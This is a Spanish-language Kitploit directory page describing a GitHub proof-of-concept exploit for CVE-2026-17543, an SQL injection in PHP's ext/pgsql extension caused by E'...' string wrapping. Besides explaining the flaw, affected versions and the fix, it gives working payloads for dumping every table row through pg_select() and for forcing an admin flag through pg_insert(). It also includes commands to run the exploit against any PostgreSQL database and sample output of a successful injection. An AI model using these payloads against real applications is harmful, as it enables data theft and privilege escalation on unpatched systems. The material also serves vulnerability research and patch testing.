Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
e-is-for-exploit-cve-2026-17543-php-pgsql-sql-injection-backslash-breakout — Exploit PoC para CVE-2026-17543: inyección SQL en PHP ext/pgsql mediante ruptura por barra invertida, con exfiltración de datos y payloads de escalada de privilegios de administrador para PostgreSQL. | Kitploit
Herramientas/GitHubGitHub/hunt-benito/e-is-for-exploit-cve-2026-17543-php-pgsql-sql-injection-backslash-breakout
Escalada de PrivilegiosAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebAprendizaje y EducaciónSeguridad de Bases de DatosLabs y Práctica
GitHub

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
hunt-benito/e-is-for-exploit-cve-2026-17543-php-pgsql-sql-injection-backslash-breakout

e-is-for-exploit-cve-2026-17543-php-pgsql-sql-injection-backslash-breakout

Exploit PoC para CVE-2026-17543: inyección SQL en PHP ext/pgsql mediante ruptura por barra invertida, con exfiltración de datos y payloads de escalada de privilegios de administrador para PostgreSQL.

Ver Repositorio
1120hace 1 mesAún no revisado

CVE-2026-17543 — Inyección SQL en ext/pgsql de PHP mediante la ruptura con barra invertida de E'...'

Prueba de concepto para CVE-2026-17543 (CVSS 9.8 Crítico, CWE-89), una vulnerabilidad de inyección SQL en la extensión PostgreSQL procedural de PHP.

Resumen de la vulnerabilidad

pg_insert(), pg_select(), pg_update(), pg_delete() y pg_convert() enrutan todos los valores de cadena a través de php_pgsql_convert(), que:

  1. Escapa el valor con PQescapeStringConn() de libpq — que, bajo standard_conforming_strings = on (el valor predeterminado de PostgreSQL desde 9.1), duplica ' como '' y deja \ intacto (correcto para un literal '...' estándar).
  2. Envuelve el resultado escapado con php_pgsql_add_quotes() en una constante de cadena de escape E'...' en lugar de un simple '...'.

Dentro de E'...', la barra invertida sí es un carácter de escape, por lo que una \ colocada antes de una comilla anula el duplicado de comillas: \' se convierte en una ' literal, y la segunda comilla — colocada allí por el escapador para ser un literal duplicado — ahora termina la cadena antes de tiempo. Todo lo que sigue es SQL crudo e inyectado.

La corrección oficial (commit ab048bd83b57) es un solo carácter: emitir '...' en lugar de E'...'.

Versiones afectadas

RamaVulnerableCorregida
PHP 8.2< 8.2.338.2.33
PHP 8.3< 8.3.338.3.33
PHP 8.4< 8.4.248.4.24
PHP 8.5< 8.5.98.5.9

No afectados: pg_query_params() (enlace de parámetros real) y las sentencias preparadas de PDO_PGSQL / PDO::quote() — estos usan rutas de código distintas que nunca llaman a php_pgsql_add_quotes().

Payload

zzz\' OR 1=1 --

(una barra invertida inmediatamente antes de la comilla simple)

  • Compilación vulnerable emite ... WHERE "name"=E'zzz\'' OR 1=1 --' → OR 1=1 se analiza como SQL → devuelve todas las filas.
  • Compilación parcheada emite ... WHERE "name"='zzz\'' OR 1=1 --' → la barra invertida es normal, por lo que OR 1=1 -- se absorbe dentro del literal de cadena → no coincide con nada.

Un segundo payload (eve\', true) --) demuestra la escalada de privilegios mediante pg_insert(), forzando una columna admin a true.

Archivos

ArchivoDescripción
poc.phpDemuestra tanto la variante de exfiltración de datos con pg_select como la de escalada de privilegios con pg_insert; imprime el SQL generado para que el token E'...' sea visible
DockerfileFija una imagen CLI de PHP vulnerable (php:8.4.23-cli) con ext/pgsql
docker-compose.ymlLevanta PostgreSQL 16 junto con el contenedor PHP vulnerable y ejecuta poc.php

Inicio rápido (Docker)

docker compose up --build --abort-on-container-exit

Salida esperada en una compilación vulnerable

PHP version:              8.4.23
standard_conforming_strings: on
----------------------------------------------------------------------

[1] pg_select() data exfiltration
    payload (runtime): zzz\' OR 1=1 --
    generated SQL:
      SELECT * FROM "users" WHERE "name"=E'zzz\'' OR 1=1 --'
    rows returned: 2
    [!] INJECTION - leaked every row in the table

[2] pg_insert() privilege escalation
    name payload (runtime): eve\', true) --
    generated SQL:
      INSERT INTO "users" ("name","admin") VALUES (E'eve\'', true) --','f')
    inserted row admin flag: 't'
    [!] INJECTION - admin column forced to TRUE

Done.

En una compilación parcheada, el SQL generado contiene '...' (sin E), [1] informa rows returned: 0 / no injection, y [2] informa admin flag: 'f'.

Ejecutar sin Docker

Apunta PGCONN a cualquier PostgreSQL y ejecuta con un PHP vulnerable:

PGCONN="host=127.0.0.1 port=5432 dbname=test user=test password=test" php poc.php

Requisitos

  • Una compilación de PHP vulnerable en los rangos anteriores, compilada con ext/pgsql (--with-pgsql / la extensión pgsql).
  • Cualquier PostgreSQL (9.1+, es decir, con standard_conforming_strings = on).

Limpieza

docker compose down -v

⚠️ Aviso de seguridad

La imagen PHP utilizada aquí está, por definición, sin parchear para CVE-2026-17543. Ejecútala solo en un contenedor aislado y desechable, y ejecuta docker compose down -v al terminar. Nunca apuntes este PoC a una base de datos que te importe.

Referencias

  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-17543
  • GitHub Advisory GHSA-7qpv-r5mr-78m4: https://github.com/php/php-src/security/advisories/GHSA-7qpv-r5mr-78m4
  • Commit de la corrección: https://github.com/php/php-src/commit/ab048bd83b578119cf81b456526d50498421d617
Descargar herramienta